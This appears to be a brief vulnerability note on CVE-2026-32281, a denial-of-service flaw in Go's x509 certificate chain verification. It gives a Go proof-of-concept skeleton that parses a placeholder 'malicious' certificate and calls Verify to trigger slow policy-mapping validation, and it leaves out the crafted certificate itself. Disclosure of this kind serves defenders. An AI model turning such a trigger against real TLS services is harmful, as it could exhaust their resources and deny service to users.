CVE-2026-32281 Go语言证书链验证DoS漏洞

package main import ( "crypto/x509" "encoding/pem" "fmt" "time" ) // This is a conceptual PoC. Generating a cert with 50k+ policy mappings // requires a more complex setup or a specific crafted PEM file. // This snippet demonstrates the verification trigger. func main() { // In a real exploit, 'maliciousCertPEM' would contain a certificate // with a massive number of policy mappings (e.g., 50,000+). maliciousCertPEM := `-----BEGIN CERTIFICATE----- ... (Malicious Certificate Data with many Policy Mappings) ... -----END CERTIFICATE-----` block, _ := pem.Decode([]byte(maliciousCertPEM)) if block == nil { panic("failed to parse certificate PEM") } cert, err := x509.ParseCertificate(block.Bytes) if err != nil { panic("failed to parse certificate: " + err.Error()) } // Setup verification options with a system pool or trusted roots opts := x509.VerifyOptions{ Roots: nil, // Uses system roots CurrentTime: time.Now(), KeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, } // Trigger the inefficient validation logic fmt.Println("Starting verification...") chains, err := cert.Verify(opts) if err != nil { fmt.Printf("Verification failed (expected DoS or error): %v\n", err) } else { fmt.Printf("Verification succeeded: %v\n", chains) } }